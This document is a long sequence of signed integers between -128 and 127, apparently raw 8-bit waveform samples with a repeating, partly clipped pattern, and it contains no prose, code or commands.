+-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-55 +55 +127 +126 +16 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-76 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-76 +-128 +-128 +-55 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +-38 +-100 +-110 +12 +108 +4 +-85 +-99 +17 +109 +1 +-69 +-106 +10 +102 +-3 +-92 +-108 +5 +99 +-3 +-75 +-110 +7 +99 +-2 +-94 +-108 +7 +102 +-4 +-76 +-109 +9 +100 +-1 +-93 +-106 +6 +102 +-2 +-76 +-109 +6 +98 +-6 +-93 +-109 +6 +98 +-7 +-78 +-111 +4 +100 +-1 +-92 +-111 +4 +102 +-1 +-75 +-111 +5 +98 +127 +127 +23 +-67 +-128 +-128 +-65 +49 +127 +120 +11 +-81 +-128 +-128 +-56 +56 +127 +124 +15 +-77 +-128 +-128 +-57 +58 +127 +123 +13 +-78 +-128 +-128 +-57 +58 +127 +123 +15 +-77 +-128 +-128 +-55 +56 +127 +123 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +-38 +-102 +-110 +11 +110 +4 +-69 +-99 +17 +108 +3 +-86 +-106 +9 +101 +-4 +-76 +-110 +7 +101 +-4 +-93 +-107 +6 +99 +-4 +-74 +-109 +6 +98 +-3 +-93 +-111 +4 +104 +0 +-76 +-110 +5 +99 +-2 +-92 +-111 +4 +102 +-1 +-76 +-111 +4 +99 +-2 +-93 +-110 +5 +104 +0 +-75 +-110 +6 +98 +127 +127 +23 +-67 +-128 +-128 +-66 +49 +127 +120 +9 +-80 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-57 +57 +127 +124 +17 +-79 +-128 +-128 +-58 +54 +127 +124 +13 +-80 +-128 +-128 +-59 +56 +127 +123 +14 +-75 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-59 +54 +127 +125 +13 +-76 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-58 +54 +127 +125 +13 +-79 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +16 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +17 +-77 +-128 +-128 +-60 +55 +127 +122 +13 +-76 +-128 +-128 +-57 +57 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +125 +14 +-78 +-128 +-128 +-57 +59 +127 +125 +16 +-77 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +55 +127 +124 +16 +-75 +-128 +-128 +-57 +57 +127 +126 +13 +-76 +-128 +-128 +-60 +54 +127 +124 +13 +-76 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-55 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +57 +127 +126 +14 +-77 +-128 +-128 +-57 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +-36 +-101 +-111 +12 +110 +4 +-70 +-97 +15 +107 +4 +-88 +-107 +10 +101 +-4 +-74 +-109 +8 +100 +-4 +-92 +-109 +8 +102 +-5 +-76 +-107 +8 +102 +-3 +-91 +-108 +9 +101 +-2 +-75 +-109 +7 +102 +-3 +-93 +-107 +6 +98 +-6 +-78 +-111 +5 +103 +-1 +-93 +-111 +4 +102 +0 +-75 +-111 +4 +101 +-1 +-92 +-112 +4 +101 +-1 +-76 +-111 +5 +102 +0 +-90 +-110 +5 +101 +-1 +-76 +-111 +4 +102 +-1 +-91 +-111 +4 +102 +-1 +-76 +-110 +5 +102 +0 +-92 +-110 +4 +102 +0 +-75 +-110 +5 +103 +1 +-90 +-110 +6 +101 +-1 +-76 +-111 +4 +102 +-1 +-92 +-110 +5 +103 +0 +-75 +-110 +5 +99 +-1 +-92 +-111 +5 +104 +0 +-75 +-110 +6 +100 +127 +127 +24 +-67 +-128 +-128 +-67 +46 +127 +119 +9 +-83 +-128 +-128 +-61 +56 +127 +122 +13 +-76 +-128 +-128 +-57 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +126 +15 +-78 +-128 +-128 +-59 +54 +127 +124 +13 +-80 +-128 +-128 +-58 +58 +127 +125 +15 +-77 +-128 +-128 +-55 +56 +127 +126 +15 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-77 +-128 +-128 +-57 +58 +127 +126 +14 +-76 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +15 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +122 +14 +-75 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +123 +14 +-78 +-128 +-128 +-58 +58 +127 +125 +17 +-79 +-128 +-128 +-57 +58 +127 +125 +14 +-78 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +124 +13 +-80 +-128 +-128 +-60 +56 +127 +122 +12 +-76 +-128 +-128 +-57 +58 +127 +126 +14 +-76 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +53 +127 +125 +12 +-79 +-128 +-128 +-58 +56 +127 +126 +14 +-77 +-128 +-128 +-57 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +56 +127 +125 +15 +-79 +-128 +-128 +-58 +55 +127 +123 +15 +-79 +-128 +-128 +-57 +58 +127 +124 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +124 +15 +-78 +-128 +-128 +-56 +58 +127 +124 +15 +-78 +-128 +-128 +-58 +57 +127 +124 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +13 +-77 +-128 +-128 +-57 +58 +127 +126 +15 +-79 +-128 +-128 +-59 +55 +127 +122 +14 +-80 +-128 +-128 +-56 +58 +127 +124 +16 +-77 +-128 +-128 +-55 +56 +127 +125 +17 +-79 +-128 +-128 +-55 +57 +-38 +-103 +-110 +12 +110 +4 +-69 +-99 +18 +107 +5 +-88 +-104 +7 +98 +-6 +-78 +-112 +4 +103 +-1 +-93 +-111 +4 +103 +0 +-75 +-111 +5 +100 +-1 +-92 +-111 +5 +103 +0 +-76 +-110 +5 +100 +-1 +-92 +-110 +5 +104 +0 +-75 +-110 +6 +100 +-1 +-92 +-110 +5 +104 +0 +-75 +-110 +5 +101 +-1 +-92 +-110 +5 +103 +0 +-75 +-110 +5 +99 +-2 +-92 +-110 +5 +104 +0 +-75 +-110 +6 +101 +0 +-92 +-110 +5 +103 +0 +-75 +-110 +6 +99 +-2 +-93 +-111 +4 +103 +-1 +-75 +-111 +5 +100 +-1 +-92 +-111 +5 +103 +0 +-75 +-111 +5 +100 +-2 +-92 +-111 +5 +104 +0 +-75 +-110 +6 +98 +-6 +-94 +-111 +6 +104 +-1 +-77 +-110 +5 +103 +0 +-91 +-110 +5 +100 +-1 +-76 +-111 +5 +104 +0 +-91 +-110 +5 +100 +-1 +-76 +-111 +5 +103 +0 +-91 +-110 +5 +102 +-1 +-76 +-111 +4 +102 +-1 +-91 +-111 +4 +102 +-1 +-76 +-110 +5 +104 +0 +-90 +-110 +5 +100 +-1 +-76 +-111 +5 +103 +-1 +-92 +-111 +5 +102 +0 +-76 +-110 +5 +103 +127 +127 +24 +-67 +-128 +-128 +-67 +47 +127 +118 +10 +-83 +-128 +-128 +-60 +54 +127 +124 +15 +-80 +-128 +-128 +-58 +56 +127 +126 +13 +-76 +-128 +-128 +-58 +58 +127 +125 +16 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +56 +127 +125 +16 +-78 +-128 +-128 +-59 +54 +127 +124 +12 +-76 +-128 +-128 +-57 +58 +127 +126 +15 +-79 +-128 +-128 +-58 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +125 +13 +-76 +-128 +-128 +-57 +58 +127 +124 +16 +-77 +-128 +-128 +-56 +56 +127 +124 +16 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +55 +127 +126 +13 +-76 +-128 +-128 +-59 +54 +127 +124 +13 +-76 +-128 +-128 +-56 +58 +127 +126 +16 +-76 +-128 +-128 +-55 +57 +127 +125 +13 +-76 +-128 +-128 +-55 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +13 +-78 +-128 +-128 +-57 +56 +127 +126 +14 +-77 +-128 +-128 +-57 +56 +127 +125 +15 +-78 +-128 +-128 +-57 +57 +127 +122 +15 +-75 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +13 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +125 +14 +-76 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-58 +55 +127 +121 +12 +-80 +-128 +-128 +-58 +57 +127 +124 +15 +-77 +-128 +-128 +-55 +56 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +125 +15 +-77 +-128 +-128 +-55 +56 +-35 +-102 +-112 +11 +110 +2 +-68 +-97 +17 +108 +2 +-87 +-106 +10 +102 +-1 +-75 +-110 +9 +100 +-5 +-91 +-108 +7 +101 +-4 +-76 +-109 +8 +102 +-4 +-91 +-107 +9 +102 +-3 +-75 +-108 +10 +101 +-1 +-91 +-110 +9 +100 +-2 +-75 +-109 +9 +102 +-4 +-92 +-107 +7 +101 +-3 +-76 +-108 +8 +103 +-2 +-91 +-108 +10 +101 +127 +127 +26 +-68 +-128 +-128 +-64 +50 +127 +119 +10 +-81 +-128 +-128 +-59 +55 +127 +121 +12 +-80 +-128 +-128 +-56 +54 +127 +124 +13 +-80 +-128 +-128 +-58 +58 +127 +124 +16 +-78 +-128 +-128 +-60 +54 +127 +126 +13 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-77 +-128 +-128 +-56 +58 +127 +126 +14 +-78 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +13 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-58 +54 +127 +126 +12 +-79 +-128 +-128 +-61 +57 +127 +122 +12 +-76 +-128 +-128 +-57 +58 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +13 +-77 +-128 +-128 +-57 +56 +127 +126 +15 +-78 +-128 +-128 +-55 +56 +127 +122 +13 +-78 +-128 +-128 +-60 +58 +127 +122 +13 +-75 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +55 +127 +124 +13 +-80 +-128 +-128 +-57 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +13 +-78 +-128 +-128 +-57 +57 +127 +125 +16 +-79 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-57 +58 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +126 +12 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-55 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +13 +-78 +-128 +-128 +-59 +54 +127 +125 +13 +-80 +-128 +-128 +-59 +54 +127 +125 +12 +-77 +-128 +-128 +-57 +58 +127 +126 +16 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +59 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-57 +57 +127 +125 +14 +-78 +-128 +-128 +-56 +59 +127 +126 +17 +-78 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-55 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +56 +127 +126 +15 +-78 +-128 +-128 +-58 +54 +127 +124 +13 +-80 +-128 +-128 +-59 +55 +127 +124 +13 +-76 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +13 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-55 +56 +-35 +-102 +-112 +11 +110 +3 +-84 +-98 +17 +109 +2 +-72 +-105 +7 +100 +-1 +-92 +-110 +9 +99 +-2 +-77 +-110 +6 +102 +-3 +-92 +-110 +8 +101 +-3 +-76 +-107 +6 +100 +-2 +-90 +-109 +8 +100 +-2 +-78 +-108 +7 +101 +-4 +-93 +-109 +8 +100 +-4 +-76 +-107 +7 +100 +-2 +-90 +-108 +8 +103 +-4 +-74 +-108 +10 +102 +127 +127 +25 +-69 +-128 +-128 +-65 +50 +127 +118 +11 +-80 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +55 +127 +123 +16 +-76 +-128 +-128 +-58 +54 +127 +125 +14 +-79 +-128 +-128 +-60 +56 +127 +122 +13 +-76 +-128 +-128 +-58 +58 +127 +125 +15 +-78 +-128 +-128 +-57 +57 +127 +125 +15 +-77 +-128 +-128 +-55 +58 +127 +124 +15 +-78 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-55 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-55 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +-38 +-100 +-111 +12 +110 +3 +-70 +-96 +16 +110 +2 +-88 +-104 +9 +102 +-3 +-76 +-109 +8 +101 +-5 +-91 +-108 +8 +101 +-3 +-76 +-109 +9 +101 +-2 +-91 +-108 +8 +102 +-3 +-75 +-109 +9 +100 +-1 +-92 +-108 +6 +98 +-6 +-77 +-110 +5 +97 +-5 +-94 +-111 +5 +103 +-1 +-76 +-111 +5 +99 +-2 +-93 +-110 +4 +102 +127 +127 +25 +-67 +-128 +-128 +-68 +48 +127 +119 +9 +-79 +-128 +-128 +-58 +57 +127 +126 +15 +-78 +-128 +-128 +-57 +57 +127 +126 +15 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +13 +-77 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +126 +14 +-77 +-128 +-128 +-57 +58 +127 +124 +14 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-59 +53 +127 +126 +12 +-77 +-128 +-128 +-57 +57 +127 +126 +14 +-79 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +126 +12 +-78 +-128 +-128 +-57 +58 +127 +125 +14 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-55 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +16 +-76 +-128 +-128 +-59 +54 +127 +125 +12 +-76 +-128 +-128 +-56 +58 +127 +126 +16 +-76 +-128 +-128 +-56 +57 +127 +126 +13 +-76 +-128 +-128 +-55 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-78 +-128 +-128 +-58 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-55 +55 +127 +126 +17 +-78 +-128 +-128 +-60 +55 +-36 +-104 +-98 +8 +110 +6 +-86 +-101 +13 +107 +4 +-72 +-108 +6 +101 +-1 +-91 +-112 +3 +98 +-3 +-78 +-112 +4 +101 +-1 +-92 +-110 +4 +100 +-2 +-77 +-111 +5 +102 +0 +-92 +-110 +5 +100 +-2 +-76 +-110 +5 +102 +-1 +-91 +-110 +5 +99 +-3 +-77 +-111 +5 +103 +0 +-91 +-111 +5 +98 +-3 +-77 +-111 +5 +103 +127 +127 +24 +-67 +-128 +-128 +-68 +46 +127 +119 +8 +-80 +-128 +-128 +-58 +57 +127 +124 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +16 +-77 +-128 +-128 +-57 +56 +127 +123 +13 +-79 +-128 +-128 +-58 +58 +127 +123 +14 +-78 +-128 +-128 +-58 +56 +-35 +-104 +-112 +13 +108 +6 +-69 +-99 +18 +107 +4 +-87 +-106 +7 +98 +-6 +-78 +-112 +3 +100 +-2 +-92 +-112 +4 +99 +-2 +-77 +-111 +4 +102 +-1 +-91 +-110 +4 +100 +-1 +-76 +-110 +5 +103 +0 +-91 +-110 +5 +100 +-2 +-76 +-110 +5 +102 +0 +-91 +-110 +5 +98 +-4 +-78 +-111 +5 +103 +127 +127 +24 +-67 +-128 +-128 +-68 +47 +127 +118 +8 +-80 +-128 +-128 +-58 +57 +127 +123 +14 +-78 +-128 +-128 +-57 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +125 +16 +-77 +-128 +-128 +-56 +55 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-59 +54 +127 +125 +13 +-78 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +59 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-57 +56 +127 +126 +14 +-77 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-55 +56 +127 +125 +15 +-78 +-128 +-128 +-58 +54 +127 +123 +14 +-80 +-128 +-128 +-59 +54 +127 +125 +13 +-79 +-128 +-128 +-59 +53 +127 +126 +12 +-77 +-128 +-128 +-56 +58 +127 +125 +16 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +124 +13 +-80 +-128 +-128 +-60 +57 +127 +122 +13 +-75 +-128 +-128 +-57 +57 +127 +124 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-79 +-128 +-128 +-57 +59 +127 +124 +15 +-77 +-128 +-128 +-55 +56 +127 +126 +16 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +55 +127 +125 +17 +-79 +-128 +-128 +-55 +56 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +127 +14 +-75 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +59 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-58 +57 +127 +124 +13 +-76 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +13 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-55 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +57 +-38 +-101 +-111 +11 +108 +3 +-70 +-99 +16 +108 +2 +-86 +-107 +9 +103 +-2 +-75 +-109 +8 +99 +-2 +-93 +-108 +5 +97 +-7 +-79 +-111 +4 +103 +-1 +-92 +-111 +4 +102 +0 +-75 +-110 +5 +101 +0 +-92 +-111 +5 +102 +-1 +-75 +-111 +5 +100 +-1 +-92 +-111 +4 +103 +-1 +-75 +-111 +5 +100 +-1 +-92 +-111 +4 +103 +127 +127 +24 +-67 +-128 +-128 +-68 +47 +127 +120 +8 +-79 +-128 +-128 +-57 +58 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +55 +127 +127 +13 +-76 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +127 +15 +-77 +-128 +-128 +-55 +57 +127 +125 +14 +-78 +-128 +-128 +-55 +58 +-36 +-101 +-111 +13 +108 +7 +-86 +-80 +16 +108 +2 +-71 +-107 +9 +102 +-4 +-93 +-108 +6 +102 +-4 +-77 +-107 +5 +97 +-6 +-94 +-112 +5 +103 +-2 +-78 +-111 +4 +102 +-1 +-92 +-111 +4 +101 +-1 +-75 +-111 +5 +102 +0 +-91 +-111 +5 +100 +-1 +-76 +-111 +5 +102 +-1 +-91 +-110 +5 +100 +-1 +-76 +-111 +4 +103 +0 +-90 +-111 +4 +101 +-1 +-75 +-111 +4 +101 +-1 +-92 +-110 +5 +103 +0 +-75 +-110 +5 +103 +0 +-92 +-110 +5 +103 +0 +-75 +-110 +5 +102 +0 +-92 +-110 +5 +103 +0 +-75 +-111 +5 +101 +-1 +-92 +-110 +5 +104 +0 +-75 +-110 +5 +100 +-1 +-92 +-111 +5 +103 +0 +-75 +-111 +5 +99 +-2 +-93 +-110 +5 +104 +127 +127 +24 +-67 +-128 +-128 +-66 +51 +127 +121 +11 +-81 +-128 +-128 +-57 +57 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +56 +127 +124 +14 +-76 +-128 +-128 +-55 +57 +127 +125 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +13 +-76 +-128 +-128 +-57 +57 +127 +123 +15 +-77 +-128 +-128 +-56 +55 +127 +126 +17 +-79 +-128 +-128 +-57 +58 +127 +126 +13 +-76 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +122 +12 +-77 +-128 +-128 +-56 +54 +127 +122 +13 +-80 +-128 +-128 +-56 +58 +127 +124 +15 +-76 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-78 +-128 +-128 +-58 +57 +127 +125 +13 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +13 +-77 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +13 +-77 +-128 +-128 +-55 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-55 +56 +127 +124 +16 +-76 +-128 +-128 +-55 +56 +127 +124 +13 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-57 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +126 +13 +-79 +-128 +-128 +-60 +56 +127 +122 +12 +-76 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-55 +58 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +55 +127 +126 +14 +-79 +-128 +-128 +-58 +58 +127 +124 +16 +-76 +-128 +-128 +-59 +54 +127 +126 +13 +-78 +-128 +-128 +-56 +55 +127 +122 +12 +-80 +-128 +-128 +-57 +58 +127 +126 +16 +-77 +-128 +-128 +-57 +58 +127 +125 +14 +-78 +-128 +-128 +-58 +55 +127 +126 +13 +-80 +-128 +-128 +-60 +54 +127 +124 +13 +-76 +-128 +-128 +-56 +58 +127 +126 +16 +-76 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-76 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-59 +53 +127 +126 +12 +-76 +-128 +-128 +-57 +58 +127 +127 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-55 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-77 +-128 +-128 +-57 +56 +127 +124 +14 +-78 +-128 +-128 +-57 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-77 +-128 +-128 +-59 +54 +127 +126 +12 +-78 +-128 +-128 +-57 +58 +127 +127 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +126 +12 +-77 +-128 +-128 +-57 +58 +127 +127 +15 +-78 +-128 +-128 +-58 +54 +127 +125 +14 +-79 +-128 +-128 +-58 +54 +127 +126 +13 +-79 +-128 +-128 +-60 +57 +127 +122 +13 +-76 +-128 +-128 +-56 +58 +127 +126 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +55 +127 +122 +13 +-80 +-128 +-128 +-57 +57 +127 +124 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +59 +127 +123 +16 +-77 +-128 +-128 +-60 +56 +127 +123 +13 +-76 +-128 +-128 +-56 +58 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-58 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +16 +-79 +-128 +-128 +-56 +58 +127 +126 +14 +-78 +-128 +-128 +-56 +55 +127 +124 +15 +-76 +-128 +-128 +-59 +54 +127 +126 +12 +-78 +-128 +-128 +-55 +58 +127 +126 +14 +-77 +-128 +-128 +-58 +54 +127 +126 +12 +-78 +-128 +-128 +-55 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +58 +127 +126 +13 +-76 +-128 +-128 +-55 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +126 +14 +-77 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +13 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +126 +14 +-77 +-128 +-128 +-58 +54 +127 +126 +12 +-78 +-128 +-128 +-55 +56 +127 +122 +13 +-76 +-128 +-128 